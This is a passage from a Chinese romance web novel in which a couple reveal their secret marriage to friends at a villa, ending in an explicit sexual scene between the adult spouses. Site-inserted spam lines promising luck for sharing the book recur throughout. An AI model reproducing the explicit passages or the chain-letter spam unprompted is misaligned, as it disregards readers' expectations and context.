她转头看向傅蔺征笑意如细碎的光藏在眼底:“其实他性格开朗阳光有点臭屁但从不让人讨厌对朋友仗义对女生尊重看过去吊儿郎当可只要认定的事一定会拼命做到最好赤诚又单纯他……特别特别好。”
傅蔺征听着黑眸一点点炽热几秒后偏开视线唇角却怎么也压不住弧度。
周围朋友们忍不住起哄夏斯
听说看这本书的人都是很幸运的,分享后你的运气会更棒
礼震惊抱头:“刚才谁说我夸张来着微月这话才叫夸张好吗!我从来就没发现傅蔺征身上有这么多优点!!”
男人懒声提唇:“人家实话实说有问题?这也就是我众多优点中的一小部分吧。”
容微月补充:“但就是太自恋。”
大家哄笑一片彭清时看着手紧紧掐着掌心心头像是被一团发酸的棉絮堵住带着无法宣泄的怒火。
话题被带过半晌傅蔺征把烤好的牛肉夹到容微月盘子中“小心烫吹一下再吃。”
她尝了口点点头:“烤得好嫩。”
“嗯一个自恋的人忍着痛用他被烫伤的手为你烤的。”
“……”
她失笑哄他“没有你不自恋。”
男人散漫靠着椅背在桌下朝她摊开掌心她红了脸悄悄把手放上去就被他牢牢握住。
他手上的温度传来瞬间烫至心口。
怕被人发现容微月想挣脱却被握得更紧傅蔺征笑得一脸痞里痞气惹她羞了才松开手。
大家边吃边聊傅蔺征全程照顾着容微月彭清
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时观察着他们旁若无人的互动神色越来越冷。
饭后几人走出餐厅室外天寒地冻容微月冷得瑟缩抱臂彭清时看到立刻脱下外套自己冷得也抖了下。
还未递过去傅蔺征脱下冲锋衣外套直接披到了容微月身上扯唇一笑:“彭先生山里冷外套你自己穿着吧你身板这么瘦别着凉了呢。”
“……”
傅蔺征身形高大明显身强力壮一件毛衣完全足够他给容微月拉上拉链:“还冷么?”
“不冷啦……”
殷绿挽着夏千棠感慨:“怎么咱们冷就没有人披衣服呢。”
湖安闻言立刻脱下外套:“我给你?”
殷绿愣了下弯弯眼笑忙摇头:“不用我开玩笑的你赶紧穿上……”
湖安淡笑说没事夏千棠看在眼里笑而不语。
随后大家先回别墅一趟
路上夏斯礼揽住傅蔺征肩膀小声道:“可以啊你今天够主动的!你早就该拿出这态度追人了!我看那个彭清时都要气炸了而且我感觉微月对你还是有一点好感的。”
“那是叫一点好感么?她明明是爱惨了我。”
“……”
夏斯礼无语:“微月对你的评价果然一针见血。”
回到别墅添了衣夏斯礼提议去前面的桑拿馆蒸桑拿众人都应下容微月要答应头顶落下傅蔺征淡淡的声音:“你还没吃药。”
哦……
她对几人说:“你们去我吃个药就来。”
傅蔺征靠着墙壁也懒懒道:
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
“我也要给呼呼安置一下,等会儿过去。
朋友们笑笑,看破不说破,殷绿和夏千棠各拉着彭清时和付筱盈两个电灯泡离开,大家走出别墅,付则承、湖安和夏斯礼互看一眼,轻啧感慨。
夏斯礼:“还得我们仨出手,今天他俩关系发生实质性突破,你看微月今天对阿征多好啊!!
付则承:“对啊,要没我们,估计他们俩最近还没讲上一句话,今天明显瞧着阿征精神状态稳定了。
湖安憨憨笑:“哈哈哈他们要成了,一定要让阿征好好感谢一下我们。
前方,彭清时气得对殷绿道:“你看到了吗,今晚傅蔺征一直黏着微月,微月也都在和他互动。
“看到了啊,他俩不是很甜?
“绿绿,你是微月闺蜜,你还不帮忙劝着?你不觉得他们两个不合适吗?我怕微月受委屈,你还要看她再跳一次火海?
殷绿无语:“怎么就火海了?彭子,微月自己知道什么人适合她,我们身为朋友就别指手画脚了,还有你死心吧……反正你彻底没可能啦。
“就算我死心,他们也不会有结果的。
傅蔺征不就是比他有钱吗?论其他方面,他哪点输了?
很快几人走到桑拿馆,却看到里头黑漆漆的,原来这两天维修暂停营业。
外头好冷,殷绿提议还是先回别墅围炉煮茶,几人便原路折返。
此刻别墅里,只剩下俩人。
容微月去她和殷绿的房间拿了暖宝宝贴,出来时看到傅蔺征倚在门口的墙上,个子高挑冷拽。
他看向她:“把行李拿去我房间。
“啊……
“啊什么啊?你今晚不跟我睡?
她脸颊染红,“他们会发现的……
傅蔺征走近她,撩人的低哑嗓音落下:“那不然就半夜来我房间,他们睡觉了,我们再上床,怎么样?
容微月被他直白的荤话弄得心漾,没人在也不害怕,眨着眸看他:“那你声音要小一点。
傅蔺征揽住她腰肢,抵在墙上,俯身咬她耳朵:“你那么会叫,你说我们俩之间是谁控制点音量?
曾经她的声音都能让他疯了。
容微月羞得轻轻溢出一声软嘤,傅蔺征指腹挲摩她嫣红的唇瓣,逼她仰起头来,气息薄热喷洒而下:
“今晚这顿饭吃得怎么样?暗度陈仓好玩么?
容微月心口怦怦乱撞,“嗯,好玩……
“打算玩到什么时候?真不给老子名分?
傅蔺征吻了下去,唇齿碾转研磨,一下又一下带着惩罚性的逗咬,惹得她心口如风雨拍打的小花微微摇颤。
傅蔺征气音沉沉:“看到了么,那个
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
彭清时还是喜欢你,今晚疯狂对你献殷勤,要不是我们结婚了,老子真想揍死他。”
这是傅蔺征第一次毫不掩饰自己的妒意,她被吻得眼尾濡湿,声音娇软哄他:“可是我都没理他,我只跟你讲话了……”
她主动勾住他脖子,正迎着他的吻,忽然——
“咔嗒”一声。
门口传来声响。
两人倏地停下来。
别墅门口,透过落地窗玻璃看到这亲昵画面的另外七人走了进来,除了殷绿之外全部傻眼——
**???!!!
什么情况?!!!!
容微月也没想到他们会回来。
一时间,除了傅蔺征,所有人脑中轰得一声炸了。
容微月脸颊充上热度,羞得埋脸在他怀中,就被傅蔺征搂住低笑:“宝贝,害羞什么。”
而后傅蔺征掀起眼皮看向他们,慵懒勾唇:
“合法夫妻,接个吻,没问题吧?”
几人:???
男人随后从口袋里掏出一个红本本,薄唇勾起弧度,高调吐出一字一句:
“正式公开一下,容微月,我老婆。”
几人:???!!!
〓作者有话说〓
兄弟三人:天塌了,征狗真有老婆了!
嘿嘿嘿忍不住亲亲然后公开咯![撒花][撒花]
征哥今日是扬眉吐气爽到极致版[狗头]
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第 37 章 “宝宝,我要疯了。”...
第37章第三十七章
【“宝宝我要疯了。”】
chapter37
别墅后院院墙挡了风炭炉安在石台中央红瓦小壶被炙烤着冒出热气茶香混着炭香氤氲开在空中。
几人围坐争抢看着他们的结婚证激动地要跳起来了:“我靠我靠阿征你从哪里办来的**啊也太像真的了。”
“哈哈这是真的都盖了公章了这结婚照拍得挺好看啊!!月月你也太漂亮了!”
付则承无语:“傅蔺征不是你竟然把结婚证随身携带?!你这也太嘚瑟了。”
“谁懂我刚刚过来看到微月抱着阿征亲的画面我以为我幻视了!”
“难怪今晚这俩人这么甜我们就是他们play的一环啊!!俩人还装不熟呢!”
“你们太过分了啊一句话不说闷声办大事!不是复合而是直接领证了?!”
傅蔺征靠坐着椅子勾唇搂住容微月:“没办法感情太好我们当然一步到位呢。”
夏斯礼都想把手中的茶杯扔过去没见过这么嘚瑟的
容微月和傅蔺征坐在对面接受“审问”傅蔺征扯唇:“什么叫瞒到现在?领证那天晚上我没和你们说?当时谁骂老子有病让我去看病来着?”
三个男人齐齐噎住:“……”
好像还真有这回事来着……
夏斯礼:“不是你凌晨四点多打来电话突然来一句我有老婆了你们说谁敢相信啊?!”
大家笑殷绿:“傅蔺征你这么激动的吗!一个晚上没睡吧!”
容微月弯眉看向傅蔺征男人轻咳了声压下唇角:“日本和中国有时差不知道?”
夏斯礼:“扯淡那当时日本那边也才凌晨五点啊!”
大家笑个不停夏千棠揶揄:“当时没说那今晚一开始怎么不说啊?你俩可是演了一个晚上啊戏精夫妻必须向我们几个好好道个歉!”
殷绿举手笑眯眯:“那个……除我之外啊我是当天就知道的。”
夏千棠作势要掐她:“好你个殷绿你不告诉我!”
殷绿笑着讨饶容微月说确实太忙了没时间和大家好好说含笑接过话茬:“对不起之前是我说先瞒着因为太突然了正好我俩又出差了今晚是准备和大家公开的。”
最近他俩忙确实脚不沾地夏千棠努嘴:“行吧微月解释了我们就姑且原谅傅蔺征你了不过喜糖呢
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
?”
“对啊,结婚了没点表示?!”
傅蔺征勾唇:“要表示的不应该是你们?”
湖安:“我们被骗了还给你撮合了一个晚上,没功劳也有苦劳啊,肯定是你表示。”
“对啊阿征,谁幸福谁请客!”
傅蔺征悠然笑:“行,感谢朋友们今晚为我俩操碎了心,你们吃请饭,地点你们随便定。”
朋友们起哄,一旁的付筱盈委屈巴巴开口:“热闹是属于你们的,和我没关系。”
大家看来,夏千棠搂住付筱盈,笑道:“盈盈,你还小,现在要好好读书,那蔺征哥和微月姐在一起是好几年前的事了,你长这么漂亮以后去大学不是随便挑男朋友?”
夏斯礼:“对啊盈盈,就阿征那个坏脾气,咱们可离他远点,也只有微月能受得了。”
付筱盈忍不住笑,沉默几秒软声叹气:“我是很喜欢蔺征哥的,但我今天才知道他和微月姐是初恋,微月姐长得好漂亮性格也好,刚才千棠姐和我说,喜欢一个人是要希望他快乐,所以……微月姐你要和蔺征哥好好的。”
“哎呦,我们盈盈长大了……”
付筱盈是个特别可爱的小姑娘,她年龄尚浅对傅蔺征更多的喜欢是来源于崇拜。
容微月暖心莞尔:“谢谢你筱盈。”
付筱盈看向傅蔺征:“蔺征哥也祝你幸福。”
傅蔺征回望,唇角一松:“谢谢,我和斯礼、湖安都是你的哥哥,以后你遇到什么事都可以找我们。”
付筱盈笑:“好。”
夏斯礼举起茶杯:“来来来,说归说闹归闹,让我们来祝贺这对新人!新婚快乐,百年好合!”
大家都是替他俩开心的,共同举杯,然而最旁边的彭清时脸色冷沉,盯着傅蔺征,忍不住开口:
“微月,你真的觉得傅蔺征可以托付终生吗,你就不怕将来会后悔吗?”
全场热闹的氛围静下。
夏斯礼转头看到彭清时。
哎呦高兴忘了,还有个情敌在这儿呢……
殷绿尴尬拉着彭清时:“彭子,他们都领证了,你现在就别掺和了好吗?”
付则承长腿交叠,摩挲着手中的杯子,镜片后的眸笑意凉薄:“彭先生,阿征是我们的朋友,他是什么样的人我们很清楚,麻烦你说话放尊重点。”
夏千棠似笑非笑:“男人有点绅士风度比较好,你这样一比,我倒是更理解微月为什么会选择阿征了。”
彭清时薄唇紧抿,心底不甘的火仍旧在烧。
他知道自己做法不体面,可是他真忍不住,为什么他们这么快就领证了,微月肯定是被忽悠了!
后院静了几分,炭炉里火星噼啪跳动,热意往四周
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散开无声间大家看到傅蔺征先把冲好的药和咳嗽药水递到容微月面前嗓音温柔:“来吃药。”
容微月憋着鼻子仰头一口气喝下傅蔺征给她递了杯温水熟练般撕了一颗青橘糖喂到她嘴里
“嗯……”
傅蔺征又把衣服给她披好随后慢悠悠靠向椅背断眉挑起把视线投向对面的人扯起唇角声音疏懒:
“彭清时我喜欢容微月的时候你还不知道在哪儿呢。”
对面的人脸色一僵攥紧拳心。
傅蔺征冷冷看他:“没有谁能完全了解谁但你对微月了解多少?你敢说你很了解她么?最简单的你知道她喜欢什么不喜欢什么?”
“怎么你很了解吗?”彭清时绷着唇角。
傅蔺征嗤笑一声“随便举点例子吧微月她很喜欢吃鱼但你知道她喜欢吃什么鱼吗?不同的鱼你知道她喜欢怎么煮吗?哪些她喜欢吃辣的?哪些她喜欢清淡的口味?”
彭清时怔了怔动了动唇说不出话。
傅蔺征淡然道:“就比如她喜欢吃水煮鱼但是只吃黑鱼草鱼她觉得骨头太多海鲈鱼和石斑鱼她喜欢清蒸加陈醋不能加生姜;牛肉喜欢吃炒的最喜欢的是牛里脊和牛肋排;她很喜欢喝汤但是唯独不喜欢西红柿蛋汤因为以前在食堂喝的西红柿蛋汤里有苍蝇她有心理阴影;她不喜欢榴莲但是可以接受烤榴莲的味道……这些你知道多少?她海鲜过敏你是不是都会忘记?”
彭清时脸色僵硬那次在老师的生日宴他一时疏忽差点害容微月又过敏。
傅蔺征说那些口味习惯是最简单不过的他冷淡看向彭清时继续说着:“微月她性格腼腆内向在熟稔的朋友面前会放得开但是她不喜欢和不熟的朋友出去玩。
到陌生的场合她会紧张就喜欢坐在角落没什么存在感她不太喜欢主动认识人但如果有人对她释放善意她会很温暖。
她紧张的时候要喝冰水开心的时候喜欢吃甜品不开心的时候就会一个人躲起来遇到事情憋着不爱和人说可是每次我但凡发现了问一句她就会掉下眼泪扑到我怀里她很敏感也很柔软一旦有人对她好她会特别特别珍惜。”
容微月闻言鼻尖酸涩傅蔺征每一句话都格外精准这都是从六年前到现在他知道的如刀又准又狠刺向彭清时他笑:“请问这些你又知道多少?”
彭清时脸色涨红。
“彭清时何谈出局你根本就没入过局。”
傅蔺征一针见血。
他握住容微月的手笑了笑:“不好意思啊可能要
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让你失望了,你说的微月会后悔的情况,我永远都不会让它出现。”
傅蔺征朝他举起红本本,勾起唇角,面色张扬:
“对她好这个许诺我傅蔺征给得起,以后还受法律保护,不管是曾经、现在还是将来,我会护她一辈子。”
容微月看着他,心头如茶壶里的水被煮沸,热意翻涌而出。
彭清时垂下眼,脸色沉底。
彻底如泄了气的皮球。
沉默间,夏千棠感慨:“我们微月这么好,被人喜欢很正常,彭同学你也是个大方人,但你输给傅蔺征,情有可原。”
殷绿点头:“傅蔺征这么多年的心意大家都看得出来,月月自己心里有定夺的。”
彭清时沉默着,随后容微月温声开口:“从高中到现在,在我心里没人任何人能比得上傅蔺征。”
彭清时眼睫微颤,她笑了笑,语气温柔坚定:“就算真的有人比他好,我眼里还是只能看得到他一个,结婚是我主动提的,是我迫不及待想要和他共度余生,所以不管遇到什么我都不会后悔。”
傅蔺征攥着她的手,勾起唇角,眼底滚热。
全场起哄,说这话也太甜了,夏斯礼假装擦眼泪:“月月,能听到你说这话,阿征何德何能啊!!有你这句话,我今晚这两肋插刀就没白插!”
付则承补刀:“虽然全插阿征身上了。”
“哈哈哈哈……”
笑声中氛围缓和许多,夏千棠把话题拐回来,再度拿起酒杯:“来来来,还是集体敬这对新人一杯,祝他们好好地共度余生!”
“阿征和微月要一直幸福下去!”
几人碰杯,容微月和傅蔺征对视,幸福弯眉。
过了会儿,有度假山庄的工作人员打来电话说桌球馆开放了,夏斯礼便张罗大家同去,打会儿球热闹热闹。
走出别墅,容微月也和彭清时说了几句话,而后回到傅蔺征身边,傅蔺征问她:“和他聊什么了?”
容微月指尖搅动围巾,“没说什么,就是和他道了个歉,本来应该早点告诉他的,希望他遇到更好的人。”
她觉得彭清时只是有点不甘心而已。
傅蔺征揽住她,吊儿郎当言:“遇到其他女生可以,更好的应该没有。”
容微月心尖柔软,脸颊埋进围巾里笑笑:“那是对他来说嘛,肯定有更好的。”
傅蔺征慵懒抬眉:“也是,我代入我自己了。”
她塌陷酒窝,被他牵着的手回握,更牢牢地抓住他。
到了桌球馆,夏斯礼等几个男生也是大方的,邀请彭清时去打球,夏斯礼也私底下和他聊了几句。
容微月感冒了没力气活动,就坐在旁边的沙发上休息,傅蔺征
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陪着她,过了会儿夏斯礼给微月拿了热饮和糕点来,容微月问:“你刚刚找彭清时了?”
夏斯礼挑眉:“我就和他说了一些你和阿征之前的事,放心,我夏斯礼就是你俩之间的爱情保镖,阿征这些年不容易,他娶到你我很开心。”
容微月心间涌起暖流,“谢谢你啊斯礼。”
能有这样一个好的朋友,是他们的幸运。
夏斯礼笑得痞帅:“客气,昨天阿征还和我说了你俩婚礼我得当主婚人,我还以为他在幻想呢,现在我要准备起来了,到时候我必须尽情发挥!”
傅蔺征冷笑勾唇:“你随意发挥,但是搞砸了你等着办吧。”
“怎么可能,我做事多靠谱啊……”
说笑聊天几句,容微月对傅蔺征道:“你和斯礼去打球吧,不用管我,我坐在这儿休息一下就好。”
傅蔺征见她没什么事,就应下,说打一局就回来。
俩男人走去球桌,夏斯礼私底下问:“所以当**你们说开了吗,她为啥分手你知道吗?你当初出的事她也知道吗?”
傅蔺征看向了眼角落里乖乖坐着的小姑娘,柔和的眉眼敛了敛,用巧克粉擦着枪头:“我那些事没必要告诉她,再让她难受,至于她为什么分手,我不会强逼她说,等她自己愿意告诉我,反正时间很多,我们可以慢慢来。”
夏斯礼把一颗红球击进网袋,忍不住感叹:
“行吧,你和贺行屿,有一个算一个,都是妥妥的情种。”
傅蔺征笑了:“他还情种?他会喜欢人啊?”
夏斯礼憋笑,拍了拍他肩膀:“唉,阿征,你眼里只有你老婆,你不知道的事还多着呢!!”
“?”
傅蔺征问他几个意思,夏斯礼笑笑不说话,“没事,你以后该知道的时候自然就知道了,对了,有空多关心关心你妹妹。”
傅蔺征狐疑,“怎么了?”
夏斯礼笑笑,“随便说说随便说说。”
一局结束,傅蔺征回到了小姑娘身边,搂住她,容微月靠在他怀中,眨着眸子,“你怎么不继续玩了?”
傅蔺征指腹揉揉她的脸,“你在这儿,我和他们有什么好玩的?”
容微月仰眸望向他,眼波澄澈纯净,声音轻轻:“那你要玩我吗?”
不远处朋友们还在打着球,笑声阵阵,她胆子却格外大。
傅蔺征眼底瞬间暗下,暗火翻涌,灼灼气息扑在她耳畔:“那你给我玩么?”
她乖乖缩在他怀中,“给呀。”
真的好想好好教育她。
傅蔺征掌心按着她后腰,早已无心待在这儿,哑声蛊道:“我们先回去,嗯?”
容微月轻轻应了声,傅蔺征牵着她
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起身走过去,对大家道:“月月感冒不舒服,要回去休息了,我们先回别墅。”
几人调侃:“得,应该是我们八个电灯泡太亮了,他们现在只想过二人世界!”
容微月羞然,傅蔺征揽住她肩膀,吊儿郎当道:“知道就好,晚上别来敲门。”
“哎呦我靠哈哈哈哈……”
而后傅蔺征去找夏斯礼,声音淡淡:“这山庄哪里有便利店。”
“便利店?应该左拐一百米就到了,那店挺小的,你要啥我让工作人员给你送去?”
夏斯礼对上傅蔺征幽深不言的神情,瞬间懂了,鄙夷:“放心放心,你想要的有卖。”
而后傅蔺征慵懒地搂着容微月走到室外,容微月抬眸看他:“你要去便利店买什么呀?”
男人眼底深深看她,嗓音塌陷在她耳边,“还能买什么,当然是买套啊,不买套怎么玩?”
她心脏踩空了一拍,“哦……”
这里能有他尺寸嘛……
傅蔺征扯唇:“脸红什么?刚刚不是胆子还很大?”
“没有,”她弯眉嗫嚅,“好期待呀……”
傅蔺征勾唇火意更盛,把她搂得更紧,“感冒会不会不舒服?”
她摇摇头,“好多了。”
俩人并肩走着,容微月忽而细眉一蹙,小腹一阵闷痛,一阵隐隐的下坠感传来。
不会吧……
她捂肚子,傅蔺征注意到:“怎么了?”
“肚子有点不舒服。”
他蹙眉:“吃坏东西了?要不要去医院?”
她摇头说不用,感受到那熟悉无比的状态,“好像是……例假来了QAQ.”
怎么这么不凑巧呢呜呜呜……
傅蔺征怔了下,以为她已经来过了,低声问:“这个月推迟到现在?”
“嗯,我都不太规律。”她宫寒,有的时候两个月才来一次。
他摸了摸她的脸,担忧柔声道:“不舒服?我抱着你走。”
傅蔺征俯身把她温柔打横抱起,让她舒舒服服靠在他怀中,转身径直往走去别墅。
容微月靠在他胸膛,有点失落,又忍不住打趣:“你计划泡汤了,怎么办……”
傅蔺征无奈扯唇看她:“能怎么办?又让你逃过一劫了。”
回到别墅,俩人上了三楼的套房,呼呼跑过来,容微月去了卫生间,发现小裤裤上果然染了淡粉色。
她原本是月初的,如今姗姗来迟,还挑了个这么不懂事的时间。
外头传来敲门声,傅蔺征微沉的声音传进来:“月月,有没有事。”
“没事……真是例假。”
她揉着肚子,耳根微热咕哝:“傅蔺征,你能帮去包里拿根棉条吗,还有我装睡衣的包里帮
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我拿一条内裤……
外头“嗯了声,很快回来敲门,将东西递来。
容微月清洗好,打开门,傅蔺征还倚在门口,呼呼也在
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门口蹲着,父子俩关心她的情况,傅蔺征担忧摸摸她头看她:“难不难受?
“还行,有点闷闷的……
她手里攥着那条白色蕾/.丝小布,傅蔺征视线落下去:“要干嘛?
“我去洗一下……
傅蔺征拧眉:“例假来了还碰凉水?而且感冒还没好,给我洗。
可水龙头也会出热水的呀……
她面色微红,犹豫不决,傅蔺征见此低笑:“容微月,从前老子又不是没洗过,你跟我害臊什么?
高三那年,有次寒假容微月去外地参加小提琴比赛,晚上住在宾馆,也是弄脏了,她疼得在床上都没力气动弹,是傅蔺征帮她洗的,又是给她泡红糖水,又是给她买止疼药,照顾了她一晚上。
何况现在他们还是夫妻关系,有什么做不了?
小姑娘闻言双颊泛红,忍羞递去,傅蔺征接过,单手抱起她放在床上:“就乖乖坐着,不许跑去其他地方。
“噢……
傅蔺征卷起黑色衣袖,去往阳台,呼呼跟在他脚边打转,他无奈轻踢它一脚:“有点儿良心行不行傅呼呼,给你妈暖肚子去。
小家伙像听懂了似的,哼哼两声,哒哒哒跑去床边。
阳台上,傅蔺征挤了点洗衣液,青色血管蜿蜒的手细细揉洗着布料,轻柔洗干净后他挂起来晒,转身走去客厅烧水,又去拿了包红糖红枣水和暖宝宝贴。
平时这些都是他出门都会备的,以防小姑娘需要,果真今天排上了用场。
回到卧室,他看到容微月已经换好了睡裙,正抱着呼呼,脑袋搁在毛茸茸的它头上,眼神放空。
真行,生病还没养好,例假又来了。
就她这脆弱的小身板,能让人担心死。
走过去,小姑娘仰头看他,他揉揉她的头,心疼:“会不会很疼?要不要吃止痛药?
“不用,就是有点闷……
他把红枣茶递给她,柔声哄:“那先喝了,实在难受就吃止痛药,我都带了。
容微月乖乖捧着杯子喝着,傅蔺征把她怀中的呼呼拎起来:“退下吧,现在不需要你了。
呼呼:……?
它哀怨地看了傅蔺征一眼,咬了口他裤脚,走去旁边地毯滚来滚去咬着小麻雀。
傅蔺征拿出暖宝宝贴,撕开,容微月视线落过去,看到是一个眼熟的小鸭子包装,愣住:“这个暖宝宝贴是你的?
“嗯。
容微月记忆回溯到上次出游的那天,“所以上次我们八个人出去玩,我
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那晚发烧了是你给我送的暖宝宝贴和药?”
傅蔺征默了默承认了:“嗯夏千棠和我说你生病了。”
傅蔺征撕开贴纸给她贴上容微月不解:“那你当时身上怎么会有那些……”
“就你这个被风一吹就能倒的体质这些东西我不得备着?”
当时他背的登山包里放的都是给她准备的东西
就和曾经那次去游乐场一样可过了这么多年就算被她伤害他永远还是对她那么好。
她没想到那个时候明明他们才刚住在一起她觉得他只是把她当成普通室友在她不知道的时候他已经为她做了好多事……
容微月心底柔软再度被他感动到抬眸轻轻看向傅蔺征“谢谢你……”
傅蔺征眯了眯眼扯唇:“怎么又要回顾结婚证了?再和我说谢谢试试?”
她羞赧傅蔺征道:“给你揉揉肚子?”
她愣了下觉得怪麻烦的“不用……”
“逞什么能?过来”傅蔺征嗓音低磁不容拒绝“之前不还说我比暖宝宝管用?”
容微月脸颊浮上一层薄红磨磨蹭蹭坐了过去傅蔺征圈住她温热的大掌帮她按着肚子半晌嗓音哑了几分:“舒服么?”
“嗯……”
容微月软绵绵的靠在他怀中傅蔺征黑眸灼灼默了默再度开口嗓音低浑:
“坐我腿上来嗯?给你摁得更舒服。”
傅蔺征薄热的气息贴在她耳边宛若带着砂砾质感的嗓音夺魄摄魂让人耳根瞬间烧起蜜色。
容微月愣了愣脸红心跳想拒绝可身子像是被烘烤的草莓奶油舒芙蕾哪里抵得住这人得寸进尺的要求:“嗯……”
膝盖窝和腰被揽住身子腾空一秒容微月就侧坐到他怀中。
傅蔺征身躯高大挺阔宽肩撑开衣料臂弯肌肉隆起线条分明呼吸之间都带着压迫感她轻轻依偎在他怀中娇小的她像只小猫咪被猛兽护着体型差强烈到极致。
她下意识攀住他肩膀傅蔺征收紧手臂浑身肌肉硬朗下一刻宽大掌心伸进睡裙直接揉上她的小肚子。
男人宽大的掌心温度太过炙人带着薄茧和粗粝覆上她柔腻滑细的盈盈雪肌那只常年惯握方向盘的手此刻血管蜿蜒凸峥跳动的脉搏都强有力带着火动作极轻极慢让人呼吸乱了节拍。
“你……你怎么……”
他气音喑哑:“这样按不是更舒服?热不热?”
她脸颊泛红到脖子根“嗯……”
好像加热的棉花糖她一点力气没有靠在他怀中
听说看这本书的人都是很幸运的,分享后你的运气会更棒
傅蔺征慢条斯理帮她按着,哑嗓贴着她耳畔落下:“白养你这段时间了,怎么还是这么轻,跟只小猫似的。”
闷痛消解,容微月眉头舒展,脸埋在他颈窝,软声嗫嚅:“我也不知道,我有吃饭呀……”
“就你平时每次扒几粒米也叫吃?”他嗓音低沉压着火,“就你现在这体质,剧/烈运动没两下就得晕过去。”
容微月心头如蚂蚁爬过,眨了眨眼看他,声音轻软:“我平时不喜欢锻炼的,什么剧/烈运动呀?”
知道她在装傻,傅蔺征喉结滚动干渴,勾唇黯声问:“你说是什么运动?”
她指尖攥着他衬衣,泛起褶皱,男人灼灼嗓音落下,咬她耳朵:“当然是进去出来,满身是汗,让你把chuang单都弄shi了的运动。”
这人……
容微月心跳如鼓,澄澈如泉的杏眸望着他,纯得像只小鹿:“我不知道,你演示一下,好不好?”
她骨子里太坏了。
又开始调皮,傅蔺征眼**烧得更沉,将她圈得更紧:“容微月,就占着你例假来了,故意的是吧?”
她眼眸弯弯故作无辜,“我没有……”
男人气音喑哑:“你以为你能躲到什么时候?等例假结束你看老子怎么收拾你。”
容微月耳根发软,轻轻哦了声:“反正你今天没办法……唔……”
话音未落,傅蔺征就捏住她下巴吻过来。
男人热气席卷而来,惩罚地辗转厮磨,带着逗猫的意味。
她口中红糖丝丝缕缕的甜蔓延到他气息中,成了燎原的火。
容微月就知道傅蔺征禁不起撩,攥他衣角,心脏如小鹿乱撞,在他怀中退无可退,只能任由他汲取甘甜。
傅蔺征右手还在揉着肚子,时不时碰到腰窝,痒得让她心颤,很快另一只手也没入睡裙。
他骨骼分明的手修长,几乎一个掌心就可以盖住她后腰。
她偏瘦,但却不是触手都是骨头的硌感,而是滑滑的嫩嫩的。
如热林中的黑曼巴蛇缠绕藤蔓,从纤薄的蝴蝶骨不断往上,她被掌心的薄茧惹得细睫翩跹。
如丝绸柔滑,傅蔺征手背青脉暴起,吻着她的气息重了几分,戴着婚戒的手指在两条细细交叉的肩带勾挑。
她呼吸一滞,耳根烧红,傅蔺征重重呼吸着,嗓音压得失控,低蛊问:“扣子呢,嗯?”
房间里光线昏黄,室外一片漆黑,只开着床头的一盏暖黄灯,光线打在她泛红的脸上,她一张脸又纯又媚。
傅蔺征掌心灼得厉害,低头咬着她红唇,气息浓烈,哑得要烧起她的耳廓:“宝宝,我要疯了,让我玩一玩好不好?”
〓作者有话说〓
嘿嘿嘿啊啊啊谁懂这句宝宝!!
傅蔺征真的是张力爆棚,月月你不是对手[害羞]明天继续甜蜜,如果我接下来出现错别字拼音,奇奇怪怪的字,大家不用纠正,是我故意打错的哈哈哈[害羞][坏笑]
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第 38 章 chapter38从前傅蔺征就喜...
第38章第三十八章
【chapter38从前傅蔺征就喜欢这么叫她极尽……】
chapter38
从前傅蔺征就喜欢这么叫她极尽亲昵和宠溺特别是在那种时候一边毫不留情一边唤她宝宝低哑的尾音像是被喉间碾碎挤进耳膜涩意拉满惹得她心口扑通扑通乱撞。
听到他又浑又坏的要求容微月脸颊绯红心跳乱成一团。
可是面对他她哪里懂得拒绝仰头和他交换着气息娇音从吻中泄出:“在……在前面……”
白皙盈盈针织的薄薄的玫瑰蕾边单边上方两条细线收束系着个小巧是蝴蝶结。
掌心如鱼探游。
没想到如此姓感傅蔺征黑眸浓灼呼吸骤乱。
傅蔺征不紧不慢描摹着无人知晓的花海漫图容微月靠在他怀中被吻得呼吸细薄稀半晌傅蔺征单手拨动扣子轻响了下失了防线。
窗外夜色深沉风卷着薄雾拂过山林枝叶簌簌作响山茶花被风吹得落于烧灼火焰一瞬间簇团燃烧。
小猫咪忍不住喵了声细长睫毛被眼尾的水汽惹得扑闪
她娇小的身子被傅蔺征宽阔的臂膀圈得更紧男人吻她耳垂喑哑的嗓音如含了沙:“宝宝比以前大了点。”
她红透了脸这人六年了怎么还记得……
容微月从前就是该瘦的地方比别人瘦反之也如此如今更显窈窕。
傅蔺征的吻一下下加深像是一张无声的网罗笼罩而下指尖如在琴弦上拨动碾转出乐章又如深海中的水母一收一放如浪一阵阵推动席卷她大脑让她面颊升温一点点溃退阵地。
与高中时期不同傅蔺征多了几分游刃有余的掌控比从前更加循循善诱越来越会了……
她细眉轻蹙咬着红唇绵绵靠在他怀中。
好喜欢呜呜呜……
不知过了多久衣浪上挑自肩头拂过昏黄灯光中幕布缓缓拉开一幅秘而不宣的春雪的画卷展开落于男人眼底眸色暗涌:
“是和刚刚我洗的同一套?”
没想到他竟然还注意这个“嗯……”
“和从前一样还是那么喜欢白色。”
她脸红傅蔺征眼底暗火燎燎婚戒缠绕哑声悠悠然道:“这么薄我一扯就坏了。”
她羞得咬唇曾经被他扯坏的还少么?
刚刚都算是难得的绅士克制。
她被放倒在柔软中傅蔺征倾身锢住她如云朵般的凝脂他眼底暗火翻腾容微月害羞躲闪却被按住:“挡什么很漂亮。”
她鼻尖沁出细密
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汗珠,男人低下头,唇齿落下像骤雨拍打檐角,一点点蔓延开来。
烈火燎原,翻山越岭,从红至白。
她宛若被困在台风眼中央的孤岛,水滴火山爆发,海浪从四面八方席卷而来拍打岸边,傅蔺征时轻时重,将她淹没。
齿间微重,容微月呜了声,脸颊冒红,眼尾染了雾气,“傅蔺征……
蛇信子打转,又捧起放下。
男人分了只手,强力扣住她想挡着的细腕。
今晚餐厅里的最后一道甜品,是个软烘烘的舒芙蕾,里面是车厘子和奶油,傅蔺征舌尖卷着,两口奶油一口车厘子,大快朵颐。
容微月声线像糯米糍粑,眼尾冒出泪花,半晌立盈仿佛夜雨打落檐下,闪着细微洇光。
傅蔺征舔了舔薄唇,勾唇喟道:“宝宝,被我亲得好红了。
春日里最美的也不及。
谁看了不想采撷。
容微月面色嫣红,感觉心口被猫爪子轻挠着,娇得求饶:“能不能不亲了……
“怎么了,要到了?
男人俯身耸动,呼出热气如火,她双臂紧攀他肩膀,眼睫像振翅欲飞的蝶翅,身子也是,“呜呜傅蔺征……
傅蔺征故意停下,坏得透顶:
“该叫我什么?
她反应过来,羞得轻轻道:“老公……
